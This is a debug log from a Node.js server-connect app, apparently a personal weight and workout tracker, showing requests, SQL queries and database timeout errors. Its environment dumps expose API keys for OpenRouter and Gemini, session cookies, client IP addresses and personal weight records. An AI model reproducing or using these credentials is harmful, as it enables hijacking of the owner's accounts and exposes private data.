    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.248.104',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T02:04:23.093Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-24T02:04:23.093Z server-connect:app Executing action step identify
2025-12-24T02:04:23.093Z server-connect:app options: { provider: 'security' }
2025-12-24T02:04:23.093Z server-connect:output identity: 1
2025-12-24T02:04:23.093Z server-connect:app Executing action step restrict
2025-12-24T02:04:23.093Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T02:04:23.094Z server-connect:output restrict: undefined
2025-12-24T02:04:23.094Z server-connect:app Executing action step custom
2025-12-24T02:04:23.094Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-24T02:04:23.095Z server-connect:output list: [
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-24T02:05:12.739Z server-connect:router Serving templateView /workout
2025-12-24T02:05:12.739Z server-connect:app Executing action step identify
2025-12-24T02:05:12.739Z server-connect:app options: { provider: 'security' }
2025-12-24T02:05:12.739Z server-connect:output identity: 1
2025-12-24T02:05:12.739Z server-connect:app Executing action step restrict
2025-12-24T02:05:12.739Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T02:05:12.740Z server-connect:output restrict: undefined
2025-12-24T02:05:12.740Z server-connect:router Render template workout
2025-12-24T02:05:12.740Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1fc6-pdJaOFkcZa/zPMYtGWbEgDG+TRQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.248.104',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.104',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1fc6-pdJaOFkcZa/zPMYtGWbEgDG+TRQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.248.104',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T02:05:13.053Z server-connect:router Serving serverConnect /api/health/get-schedule
2025-12-24T02:05:13.053Z server-connect:app Executing action step identify
2025-12-24T02:05:13.053Z server-connect:app options: { provider: 'security' }
2025-12-24T02:05:13.053Z server-connect:output identity: 1
2025-12-24T02:05:13.054Z server-connect:app Executing action step restrict
2025-12-24T02:05:13.054Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T02:05:13.054Z server-connect:output restrict: undefined
2025-12-24T02:05:13.054Z server-connect:app Executing action step select
2025-12-24T02:05:13.054Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2025-12-24T02:05:13.056Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2025-12-24T02:05:14.063Z server-connect:router Serving templateView /exercise/2
2025-12-24T02:05:14.064Z server-connect:app Executing action step identify
2025-12-24T02:05:14.064Z server-connect:app options: { provider: 'security' }
2025-12-24T02:05:14.064Z server-connect:output identity: 1
2025-12-24T02:05:14.064Z server-connect:app Executing action step restrict
2025-12-24T02:05:14.064Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T02:05:14.065Z server-connect:output restrict: undefined
2025-12-24T02:05:14.065Z server-connect:router Render template workout-exercise
2025-12-24T02:05:14.065Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': { schedule_id: '2' },
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2357-j9PQ8jvP44P3ynbJO3+5swBWwqw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.248.104',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/exercise/2',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.104',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/exercise/2',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2357-j9PQ8jvP44P3ynbJO3+5swBWwqw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.248.104',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T02:05:14.318Z server-connect:router Serving serverConnect /api/health/get-exercises
2025-12-24T02:05:14.318Z server-connect:app Executing action step identify
2025-12-24T02:05:14.318Z server-connect:app options: { provider: 'security' }
2025-12-24T02:05:14.319Z server-connect:output identity: 1
2025-12-24T02:05:14.319Z server-connect:app Executing action step restrict
2025-12-24T02:05:14.319Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T02:05:14.319Z server-connect:output restrict: undefined
2025-12-24T02:05:14.319Z server-connect:app Executing action step select
2025-12-24T02:05:14.319Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'workout_exercise' },
    primary: 'exercise_id',
    joins: [],
    query: 'select * from `workout_exercise` where `workout_exercise`.`schedule_id` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-24T02:05:14.321Z server-connect:output list: [
  {
    exercise_id: 1,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Bench Press',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:51:46.000Z',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 2,
    schedule_id: 2,
    workout_name: 'Back',
    exercise_name: 'Dumbell Row',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:52:54.000Z',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 3,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Incline Dumbell Press',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:53:57.000Z',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 4,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Pec Deck Fly',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:53:58.000Z',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    status: 'Not Started'
  },
  {
    exercise_id: 5,
    schedule_id: 2,
    workout_name: 'Shoulder',
    exercise_name: 'Dumbell Overhead Press',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T17:43:22.000Z',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    status: 'Not Started'
  }
]
2025-12-24T02:08:18.235Z server-connect:app Executing action step identify
2025-12-24T02:08:18.235Z server-connect:app options: { provider: 'security' }
2025-12-24T02:08:18.236Z server-connect:output identity: 1
2025-12-24T02:09:57.810Z server-connect:app Executing action step identify
2025-12-24T02:09:57.810Z server-connect:app options: { provider: 'security' }
2025-12-24T02:09:57.810Z server-connect:output identity: 1
2025-12-24T02:09:59.614Z server-connect:app Executing action step identify
2025-12-24T02:09:59.614Z server-connect:app options: { provider: 'security' }
2025-12-24T02:09:59.614Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 02:20:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 02:20:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 02:35:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 02:35:16' as DATETIME)"
}
2025-12-24T03:46:37.863Z server-connect:router Serving templateView /
2025-12-24T03:46:37.864Z server-connect:app Executing action step identify
2025-12-24T03:46:37.864Z server-connect:app options: { provider: 'security' }
2025-12-24T03:46:37.865Z server-connect:output identity: 1
2025-12-24T03:46:37.865Z server-connect:app Executing action step restrict
2025-12-24T03:46:37.865Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T03:46:37.866Z server-connect:output restrict: undefined
2025-12-24T03:46:37.866Z server-connect:app Executing action step restrict
2025-12-24T03:46:37.866Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T03:46:37.867Z server-connect:output restrict: undefined
2025-12-24T03:46:37.867Z server-connect:router Render template layouts/main
2025-12-24T03:46:37.867Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
